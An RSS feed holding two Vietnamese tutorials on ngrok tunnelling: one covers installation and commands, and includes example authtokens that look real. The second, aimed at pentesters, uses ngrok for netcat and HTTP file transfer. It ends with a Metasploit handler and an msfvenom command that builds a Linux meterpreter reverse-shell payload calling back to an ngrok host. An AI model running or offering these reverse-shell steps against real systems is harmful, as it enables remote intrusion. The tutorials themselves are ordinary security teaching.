<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Ngrok &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/ngrok/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 16:44:30 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>Ngrok &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cách cài đặt và sử dụng Ngrok để NAT Port</title>
		<link>https://anonyviet.com/cach-cai-dat-va-su-dung-ngrok-de-nat-port/</link>
					<comments>https://anonyviet.com/cach-cai-dat-va-su-dung-ngrok-de-nat-port/#respond</comments>
		
		<dc:creator><![CDATA[Dark Sniffer]]></dc:creator>
		<pubDate>Thu, 25 Aug 2022 00:22:56 +0000</pubDate>
				<category><![CDATA[Mạng cơ bản]]></category>
		<category><![CDATA[nat port]]></category>
		<category><![CDATA[Ngrok]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=34413</guid>

					<description><![CDATA[Ngrok là một nền tảng, sử dụng các tiện ích đã cài đặt, cho phép bạn truy cập từ xa vào web server hoặc một số dịch vụ khác chạy trên PC. Truy cập thông qua tunnel được tạo khi ngrok chạy. Đồng thời, PC bạn có thể bị NAT và không cần địa chỉ IP [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ngrok là một nền tảng, sử dụng các tiện ích đã cài đặt, cho phép bạn truy cập từ xa vào web server hoặc một số dịch vụ khác chạy trên PC. Truy cập thông qua tunnel được tạo khi ngrok chạy. Đồng thời, PC bạn có thể bị NAT và không cần địa chỉ IP tĩnh.</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/09/How-to-use-ngrok-1024x536-1.jpg" alt="Cách cài đặt và sử dụng Ngrok" width="768" height="402" title="Cách cài đặt và sử dụng Ngrok để NAT Port 4"></p>
<p>Với Ngrok, bạn không cần phải thử nghiệm dự án ở một môi trường khác, bạn có thể thử nghiệm dự án cho khách hàng trực tiếp từ máy cục bộ hoặc, ví dụ: bằng cách sử dụng Ngrok, bạn có thể dễ dàng chia sẻ tệp trên PC của mình.</p>
<h2>Ngrok là gì?</h2>
<p>Ngrok đưa các dịch vụ trên máy tính lên internet, ngay cả khi bạn không có địa chỉ IP Public tĩnh, nằm sau NAT và tường lửa.</p>
<p>Với ngrok, bất kỳ Port nào trên máy tính cũng đều có thể truy cập được từ Internet thông qua tunnel. Ví dụ: bạn có thể làm cho web server trên local của mình có thể truy cập được từ Internet thông qua liên kết trực tiếp mà không cần cấu hình.</p>
<h2>Ngrok hoạt động như thế nào?</h2>
<p>Khi được cài đặt trên máy tính, Ngork sẽ kết nối với máy chủ theo tunnel riêng đồng thời cung cấp cho bạn một subdomain của ngrok kèm theo Port để kết nối ra ngoài.</p>
<p>Nếu bạn mở địa chỉ này trong trình duyệt web, thì lưu lượng truy cập sẽ được chuyển hướng đến dịch vụ mạng trên máy của bạn hoặc đến bất kỳ địa chỉ nào mà bạn chỉ định.</p>
<h3>Ngrok được sử dụng để làm gì?</h3>
<ul>
<li>Triển khai các trang web mà không cần sử dụng hosting</li>
<li>Tạo các web hook trên máy tính của bạn để phát triển phần mềm</li>
<li>NAT port không cần cấu hình trên Router</li>
<li>Cung cấp địa chỉ cho các thiết bị được kết nối</li>
<li>Chạy dịch vụ đám mây từ máy tính cá nhân</li>
</ul>
<h2>Cách cài đặt Ngrok trên Kali linux</h2>
<p>Để cài đặt ngrok trên Kali Linux, trước tiên chúng ta cần phải tải xuống Ngrok từ terminal.</p>
<p>Website: <a href="https://ngrok.com/" target="_blank" rel="noreferrer noopener nofollow">https://ngrok.com</a><br />
<code class="bash plain">sudo wget `curl -s https:</code><code class="bash plain">//ngrok</code><code class="bash plain">.com</code><code class="bash plain">/download</code> <code class="bash plain">| </code><code class="bash functions">grep</code> <code class="bash plain">-o -E </code><code class="bash string">'https://bin.equinox.io/c/[A-Za-z0-9]{4,}/ngrok-stable-linux-amd64.zip''</code></p>
<p>Giải nén Ngrok<br />
<code>sudo unzip ngrok-stable-linux-amd64.zip</code><br />
Cài đặt Ngrok</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">chmod +x ./ngrok
./ngrok -h</pre>
<h2>Các lệnh trên Ngrok</h2>
<h3>Thiết lập Ngrok Authtoken</h3>
<p>tham số authtoken lưu trữ mã xác thực trong file config.</p>
<p>Cách sử dụng: ngrok TOKEN [COMMAND OPTIONS] [ARGUMENTS…]</p>
<p>Lệnh authtoken sửa đổi tệp config của bạn để ghi authtoken được chỉ định vào nó. Theo mặc định, tệp config này được đặt tại $HOME/.ngrok2/ngrok.yml .</p>
<p>Để sử dụng nhiều tính năng nâng cao của dịch vụ, ngrok.com yêu cầu bạn phải đăng ký tài khoản. Để liên kết khách hàng của bạn với một tài khoản, họ phải gửi secret token đến dịch vụ ngrok.com khi khởi động. Thay vì gửi authtoken cho mọi lần call, bạn có thể sử dụng lệnh này để lưu trữ nó trong file config để ứng dụng client luôn xác thực bạn đúng cách.</p>
<p>Ví dụ:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok authtoken MJHGSkjst2HNWLXui5PM_qCaBq0W2sNFcCa0olTAs</pre>
<h3>Tham số credits</h3>
<p>tham số Credits sẽ in thông tin về tác giả và giấy phép của dự án đó.</p>
<p>Cách sử dụng: <code>./ngrok credits</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/09/ngrok-credits-768x484-1.jpg" alt="Cách cài đặt và sử dụng Ngrok để NAT Port 3" width="576" height="363" title="Cách cài đặt và sử dụng Ngrok để NAT Port 5"></p>
<h3>Tham số https</h3>
<p>Tham số <strong>http</strong> tạo một HTTP tunnel.</p>
<p>Cách sử dụng: ngrok http [COMMAND OPTIONS] [ARGUMENTS…]</p>
<p><strong>Mô tả:</strong></p>
<p>Tạo một tunnel lắng nghe lưu lượng HTTP/HTTPS với hostname được chỉ định. HTTP Host header trên các request công khai được kiểm tra để xác định tunnel phù hợp với nó.</p>
<p>Endpoints HTTPS chấm dứt lưu lượng TLS trên máy chủ ngrok bằng cách sử dụng chứng chỉ ngrok.io. Lưu lượng HTTP được giải mã sau đó sẽ được định tuyến qua một secure tunnel và đến local server của bạn. Nếu bạn không muốn lưu lượng truy cập TLS của mình kết thúc trên máy chủ ngrok, hãy sử dụng tunnel TLS hoặc TCP.</p>
<p>Ví dụ:</p>
<p>Chuyển hướng subdomain ngrok.io đến local port 80:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http 8080</pre>
<p>Chuyển hướng lưu lượng truy cập đến example.com:9000:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http example.com:9000</pre>
<p>Yêu cầu tên subdomain: ‘bar.ngrok.io’</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http -subdomain=bar 80</pre>
<p>Yêu cầu tunnel ‘ex.com’ (DNS CNAME):</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http -hostname=ex.com 1234</pre>
<p>Yêu cầu xác thực cơ bản trên tunnel endpoint:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http -auth='falken:joshua' 80</pre>
<p>Viết lại Host header thành ‘ex.com’:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http -host-header=ex.com 80</pre>
<p>Cho phép truy cập từ Internet vào các tệp cục bộ trong /var/log:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http file:///var/log</pre>
<p>Chuyển hướng đến máy chủ https cục bộ:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http https://localhost:8443</pre>
<h3>Tham số start</h3>
<p>tham số <strong>start</strong> bắt đầu một tunnel theo tên từ file config.</p>
<p>Cách sử dụng: ngrok start [COMMAND OPTIONS] [ARGUMENTS…]<br />
Lệnh Ngrok start tạo các tunnel theo tên từ file config. Bạn có thể chỉ định bất kỳ số lượng tên tunnel nào. Bạn có thể bắt đầu tất cả các tunnel từ file config bằng cách thêm tham số -all.</p>
<p>Ví dụ:</p>
<p>Chạy một tunnel có tên trong file config là ‘dev’:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok start dev</pre>
<p>Chạy các tunnel &#8220;web&#8221; và &#8220;blog&#8221;:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok start web blog</pre>
<p>Chạy tất cả các tunnel được xác định trong file config:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok start --all</pre>
<h3>Tham số tcp</h3>
<p>Tham số <strong>tcp</strong> bắt đầu một tunnel TCP.</p>
<p>Cách sử dụng: ngrok tcp [COMMAND OPTIONS] [ARGUMENTS …]</p>
<p>Lệnh TCP khởi chạy một tunnel chuyển hướng tất cả lưu lượng TCP từ public port đến địa chỉ local. Điều này cực kỳ hữu ích để cung cấp các dịch vụ chạy trên lưu lượng truy cập không phải HTTP (ssh, sip, rdp, game servers,&#8230;).</p>
<p>Một tunnel TCP liên kết một địa chỉ public trên một máy chủ ngrok từ xa. Bất kỳ dịch vụ nào yêu cầu địa chỉ public ổn định nên sử dụng tham số –remote-addr. ngrok.com yêu cầu bạn đặt trước địa chỉ tunnel TCP cho tài khoản của mình trước khi bạn sử dụng nó.</p>
<p>Ví dụ:</p>
<p>Chuyển tiếp cổng tới máy chủ ssh cục bộ của bạn</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tcp 22</pre>
<p>Cung cấp máy chủ RDP tại một địa chỉ public cụ thể mà bạn đã đặt trước</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ngrok tcp --remote-addr=1.tcp.ngrok.io:27210 3389</pre>
<h3>Tham số Tls</h3>
<p>Tham số tls bắt đầu một tunnel TLS.</p>
<p>Cách sử dụng: ngrok tls [COMMAND OPTIONS] [ARGUMENTS …]</p>
<p>Lệnh tls bắt đầu một tunnel để lắng nghe lưu lượng TLS trên cổng 443 với tên máy chủ được chỉ định. TLS SNI (Server Name Indication) trên kết nối với TLS được kiểm tra để xác định nó phù hợp với tunnel nào.</p>
<p>Máy chủ ngrok không chấm dứt các kết nối TLS được chuyển tiếp bằng lệnh này. Bất kỳ giao thức cơ bản nào cũng có thể được sử dụng. Theo tùy chọn, bạn có thể chỉ định một cặp key và chứng chỉ TLS sẽ được sử dụng để chấm dứt lưu lượng truy cập phía client trước khi nó được chuyển tiếp. Nếu không được chỉ định, lưu lượng gửi sẽ được mã hóa.</p>
<p>Việc sử dụng lệnh này chỉ được khuyến nghị với tùy chọn -hostname. Các mục đích sử dụng khác sẽ hoạt động, nhưng sẽ luôn dẫn đến cảnh báo chứng chỉ không khớp.</p>
<p>Ví dụ:</p>
<p>Chuyển tiếp lưu lượng truy cập TLS cho example.com đến cổng 443 (yêu cầu CNAME)</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tls -hostname=example.com 443</pre>
<p>Chuyển tiếp lưu lượng truy cập TLS tới subdomain (cảnh báo chứng chỉ không khớp)</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tls 1234</pre>
<p>Chấm dứt lưu lượng truy cập TLS cho t.co trước khi chuyển tiếp</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tls -hostname=t.co -crt=/path/to/t.co.crt -key=/path/to/t.co.key 443</pre>
<h3>Tham số update</h3>
<p>Tham số update cập nhật ngrok lên phiên bản mới nhất.</p>
<p>Cách sử dụng: ngrok update [COMMAND OPTIONS] [ARGUMENTS…]</p>
<p>Cập nhật ngrok lên phiên bản mới nhất. Lệnh này kiểm tra dịch vụ web ngrok để tìm các phiên bản mới hơn của ứng dụng client ngrok. Nếu có phiên bản mới hơn, nó sẽ được tải xuống, tệp tải xuống sẽ được xác thực và tệp thực thi hiện tại sẽ được thay thế bằng tệp mới.</p>
<p>Để cập nhật thành công, tệp nhị phân ngrok phải nằm trong thư mục có thể ghi bởi người dùng hiện tại. Nếu bạn đặt ngrok trong PATH hệ thống, bạn có thể cần phải chạy nó với tư cách người dùng root hoặc administrator.</p>
<p>Ví dụ:</p>
<p>Cập nhật ngrok lên phiên bản ổn định mới nhất:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok update</pre>
<p>Cập nhật ngrok lên phiên bản beta mới nhất:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok update -channel=beta</pre>
<h2>Cách sử dụng ngrok</h2>
<p>Ví dụ về cách chạy ngrok</p>
<p>Tạo tunnel từ subdomain đã tạo có thể truy cập thông qua liên kết public tới cổng cục bộ 80 (web server):</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http 80</pre>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/09/ngrok-https.jpg" alt="Cách cài đặt và sử dụng Ngrok để NAT Port 4" width="626" height="402" title="Cách cài đặt và sử dụng Ngrok để NAT Port 6"></p>
<p>Ngay sau khi khởi chạy, bạn có thể thấy rằng dịch vụ đã tạo subdomain tạm thời có dạng <strong>c68c9c03db47.ngrok.io</strong> để cung cấp quyền truy cập vào PC và local tại <strong>127.0.0.1:4040</strong>, một bảng điều khiển đã được khởi chạy hiển thị dữ liệu về các kết nối từ xa tới tunnel. Chúng ta có thể mở domain <strong>c68c9c03db47.ngrok.io</strong> từ bất kỳ đâu và có quyền truy cập vào thư mục được định cấu hình trên web server.</p>
<p>Chỉ định Tunnel đến HOST: PORT (foo.dev:80) thay vì localhost:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http foo.dev:80</pre>
<p>Làm cho local HTTPS server có thể truy cập được từ internet:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http https://localhost</pre>
<p>Tunnel lưu lượng TCP tùy ý đến cổng 22:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tcp 22</pre>
<p>Tạo tunnel (http) đến trang kalitut.com bằng giao thức https (https://kalitut.com) bằng cách thay thế header Host HTTP bằng kalitut.com(-host-header = kalitut.com):</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ngrok http https://kalitut.com -host-header=kalitut.com</pre>
<p>Nếu bạn định sử dụng server thường xuyên, bạn nên đăng ký trên ngrok.com, lấy mã authorization và thêm nó vào local client bằng lệnh:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok authtoken 5vEpKbBvnjSrMqZIkYJLb_2sbNRQbxZm0PSo23X6QpQ</pre>
<p>authorization sẽ được ghi vào tệp ~/.ngrok2 /ngrok.yml.</p>
<h3>Proxy cho các PC khác trên mạng local</h3>
<p>Không cần thiết phải giữ máy chủ web trên cùng một máy mà Ngrok chạy. Nếu dịch vụ trên mạng cục bộ đang chạy trên một máy riêng biệt, chúng ta có thể ủy quyền lưu lượng truy cập ở đó:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok http 192.168.1.25:8080</pre>
<h3>Không chỉ làm việc với web server</h3>
<p>Trên thực tế, chúng ta có thể cấu hình quyền truy cập từ xa vào bất kỳ dịch vụ tcp nào đang chạy trên PC. Ví dụ: nếu chúng ta muốn truy cập qua SSH, chúng ta có thể làm như sau:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">./ngrok tcp 22</pre>
<p>Đồng thời, từ dịch vụ chúng ta sẽ nhận được một địa chỉ có dạng tcp: //0.tcp.ngrok.io: 18211 -&gt; localhost: 22, và để truy cập vào PC chúng ta chỉ cần kết nối qua SSH vào tên máy 0.tcp.ngrok.io và cổng 18211. Các bạn cũng có thể làm thế với game server.</p>
<h2>Cài đặt Ngrok trên Windows</h2>
<p>Truy cập trang web chính thức và tải xuống ngrok cho Windows: <a href="https://ngrok.com/download" target="_blank" rel="noopener">https://ngrok.com/download</a></p>
<p>Giải nén tệp lưu trữ đã tải xuống, mở cmd và đi đến thư mục có tệp thực thi bằng lệnh cd, ví dụ: chương trình của mình được đặt trong thư mục <strong>C:\Users\WTS\Downloads\;</strong></p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">cd C:\Users\WTS\Downloads\</pre>
<p>Để kiểm tra, bạn có thể mở bảng trợ giúp bằng lệnh:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">.\ngrok -h</pre>
<p>Vậy là xong rồi đó. Ngoài ra, bạn cũng có thể tạo server chỉ với 15p bằng github <a href="https://anonyviet.com/cach-tao-website-bang-github-trong-15-phut/">tại đây.</a></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ngrok có thể giúp tôi làm gì?</h3>
<p>Ngrok giúp bạn tạo đường hầm (tunnel) để truy cập từ xa vào các dịch vụ chạy trên máy tính cá nhân của bạn, ngay cả khi máy tính nằm sau NAT và không có địa chỉ IP công cộng tĩnh. Bạn có thể dùng nó để chia sẻ tệp, triển khai website, tạo webhook, hoặc NAT port mà không cần cấu hình router.</p>
<h3>Tôi cần phải có địa chỉ IP tĩnh để sử dụng Ngrok không?</h3>
<p>Không cần. Ngrok hoạt động bằng cách tạo một đường hầm từ internet đến máy tính của bạn, cho phép bạn truy cập các dịch vụ cục bộ mà không cần địa chỉ IP tĩnh hoặc cấu hình router phức tạp.</p>
<h3>Ngrok có an toàn không?</h3>
<p>Ngrok sử dụng mã hóa TLS để bảo mật lưu lượng truy cập giữa máy tính của bạn và máy chủ ngrok. Tuy nhiên, bạn nên lưu ý rằng dữ liệu truyền qua ngrok vẫn có thể bị chặn hoặc giám sát bởi nhà cung cấp dịch vụ internet của bạn.  Đối với các ứng dụng nhạy cảm, hãy cân nhắc các giải pháp an ninh nâng cao hơn.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-cai-dat-va-su-dung-ngrok-de-nat-port/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cách cấu hình Ngrok để NAT Port trên Kali Linux</title>
		<link>https://anonyviet.com/cach-cau-hinh-ngrok-de-nat-port-tren-kali-linux/</link>
					<comments>https://anonyviet.com/cach-cau-hinh-ngrok-de-nat-port-tren-kali-linux/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 26 Jul 2022 00:31:14 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[kali linux]]></category>
		<category><![CDATA[nat port]]></category>
		<category><![CDATA[Ngrok]]></category>
		<category><![CDATA[pentester]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42437</guid>

					<description><![CDATA[Ngrok là một công cụ giúp bạn đưa các dịch vụ trên máy tính ra ngoài Internet mà không cần phải NAT Port hoặc làm lộ IP Public của bạn. Ngrok là một trong những công cụ yêu thích của mình và trong bài viết này, mình sẽ chỉ cho các bạn một số cách [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ngrok là một công cụ giúp bạn đưa các dịch vụ trên máy tính ra ngoài Internet mà không cần phải NAT Port hoặc làm lộ IP Public của bạn. Ngrok là một trong những công cụ yêu thích của mình và trong bài viết này, mình sẽ chỉ cho các bạn một số cách mà mình đã sử dụng Ngrok trong quá trình Pentest.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/07/1_IalYktr6TJArYDKZm2Wwbw.jpg" alt="Thiết lập Ngrok cho Pentester" width="700" height="334" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 28"></p>
<h2>Cấu hình Ngrok</h2>
<p>Để sử dụng Ngrok, bạn cần có tài khoản. Truy cập <a href="https://ngrok.com/" target="_blank" rel="noopener">https://ngrok.com/</a> và tạo tài khoản bằng email hoặc sử dụng tùy chọn Google | Github Oauth. Tiếp theo, tải xuống tệp cài đặt Ngrok bằng cách truy cập <strong class="lg je">Setup &amp; Installation</strong>, sau đó nhấp chuột phải vào tùy chọn <strong class="lg je">Download for Linux</strong> và sao chép địa chỉ liên kết:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_qdMVJ0T3nCymsaUXaFBgoA.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 25" width="700" height="198" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 29"></p>
<p>Tiếp theo, vào Terminal của máy tấn công và <code class="fr vn vo vp vq b">wget</code> tệp ZIP Ngrok. Sau đó giải nén, thêm quyền thực thi và cuối cùng di chuyển tệp Ngrok sang /usr/local/bin/:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">cd /tmp
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/</pre>
<p>LƯU Ý: Liên kết trên có khả năng không hoạt động với bạn. Sử dụng liên kết bạn đã sao chép từ trang chủ Ngrok.</p>
<h2>Cấu hình AuthToken</h2>
<p>Bây giờ bạn đã cài đặt xong Ngrok, chúng ta cần cung cấp cho Ngrok mã xác thực (authentication token) được cung cấp trong web của Ngrok. Truy cập tab Your Authtoken từ trong tài khoản của bạn:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_4DUxrC7y9oEGJEnd0BWvzQ.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 26" width="509" height="520" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 30"></p>
<p>Và sau đó sao chép Authtoken:<img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_oMZs3kAX5A__uMX-tSfeJA.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 27" width="700" height="219" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 31"></p>
<p>Cuối cùng, hãy chạy lệnh sau để định cấu hình Ngrok sử dụng Authtoken này:</p>
<p><code>ngrok authtoken 'AUTHTOKEN_GOES_HERE'</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_-acgP8dDF883Xs9I7wlgWw-1.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 28" width="657" height="137" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 32"></p>
<h2>Các trường hợp sử dụng Ngrok cho Pentester trên Kali Linux</h2>
<p>Dưới đây là một số trường hợp sử dụng Ngrok trong quá trình Pentest.</p>
<h3>Truyền tệp bằng Netcat</h3>
<p>Chuyển các tệp sang một máy không nằm trong mạng nội bộ của bạn là không thể nhưng cho đến khi bạn biết đến Ngrok. Để cung cấp dịch vụ Netcat qua Internet với Ngrok, hãy thực hiện các bước sau:</p>
<p>1. Thiết lập trình nghe Netcat trên một cổng bạn chọn</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_aeUemux-v2MtNZVdseWZCw.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 29" width="569" height="143" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 33"></p>
<p>2. Chạy Ngrok bằng lệnh tcp và chỉ định cổng bạn đã sử dụng để khởi động Netcat</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_WeOzkxNWKNGd9KlstEkZog.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 30" width="608" height="305" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 34"></p>
<p>Sau khi nhấn enter, trang tổng quan trạng thái phiên của Ngrok sẽ xuất hiện từ đó bạn có thể lấy URL:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_jGUYQcY0M1GNw-MDb6U9vw.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 31" width="700" height="233" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 35"></p>
<p>3. Trên máy đích, sử dụng URI do Ngrok cung cấp để truyền tệp bằng Netcat. Lưu ý rằng URI tcp:// không được sử dụng khi chỉ định URL cho Netcat. Và đừng quên xóa: và thay thế bằng dấu cách:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_TU1Y5aIP0N8fFwAFK9E0kA.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 32" width="700" height="186" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 36"></p>
<h3>Truyền File bằng máy chủ HTTP</h3>
<p>Đôi khi bạn muốn chuyển tệp bằng các máy chủ HTTP đơn giản như mô-đun http.server của Python. Để chuyển tệp từ máy cục bộ của bạn qua Internet bằng máy chủ HTTP được lưu trữ cục bộ, hãy thực hiện các bước sau:</p>
<p>1. Khởi động máy chủ HTTP trên cổng bạn muốn</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_wocVC6oaMb_5Eh8gDLeSxg.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 33" width="620" height="129" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 37"></p>
<p>2. Chạy Ngrok bằng lệnh http và chỉ định cổng bạn đã sử dụng để khởi động máy chủ HTTP trên</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_R-9YcwCS4HVuwjPPFZJRHg.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 34" width="556" height="187" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 38"></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_jGUYQcY0M1GNw-MDb6U9vw-1.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 35" width="700" height="233" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 39"></p>
<p>3. Trên máy đích, sử dụng URI do Ngrok cung cấp để tải tệp</p>
<p><code>curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_BsT7SkPgaoFdBz7vsIH4Ow.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 36" width="700" height="223" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 40"></p>
<h3>Metasploit Reverse Shells qua Internet</h3>
<p>Việc tạo tải trọng Msfvenom với địa chỉ IP cục bộ sẽ hạn chế bạn bằng cách chỉ cho phép bạn tạo tải trọng cho các máy cục bộ. Để tạo tải trọng cho một máy từ xa kết nối lại qua Internet với Metasploit cục bộ của bạn, hãy thực hiện các bước sau:</p>
<p>1. Chạy Ngrok và chỉ định cổng cục bộ mà trình xử lý sẽ lắng nghe</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_G-XPoybeL8Yi2I2ANgGalw.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 37" width="505" height="160" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 41"></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_5qiL_LG-xh9BmtpoAcz4ig.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 38" width="700" height="249" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 42"></p>
<p>2. Khởi động trình xử lý Metasploit và định cấu hình các tùy chọn ReverseListenerBindAddress và ReverseListenerBindPort để khi kết nối, chúng sẽ chuyển tiếp lưu lượng đến localhost:4444:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">use exploit/multi/handler
set lhost 6.tcp.ngrok.io
set lport 16737
set payload linux/x64/meterpreter/reverse_tcp
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4444
run -j</pre>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_AxFNPvYUqR1fPbeLhbcszg.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 39" width="700" height="307" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 43"></p>
<p>3. Tạo tải trọng Msfvenom và chỉ định URI do Ngrok cung cấp làm tham số LHOST</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737</pre>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_WJRE9H4AIde2zBlCfR54BA.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 40" width="700" height="173" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 44"></p>
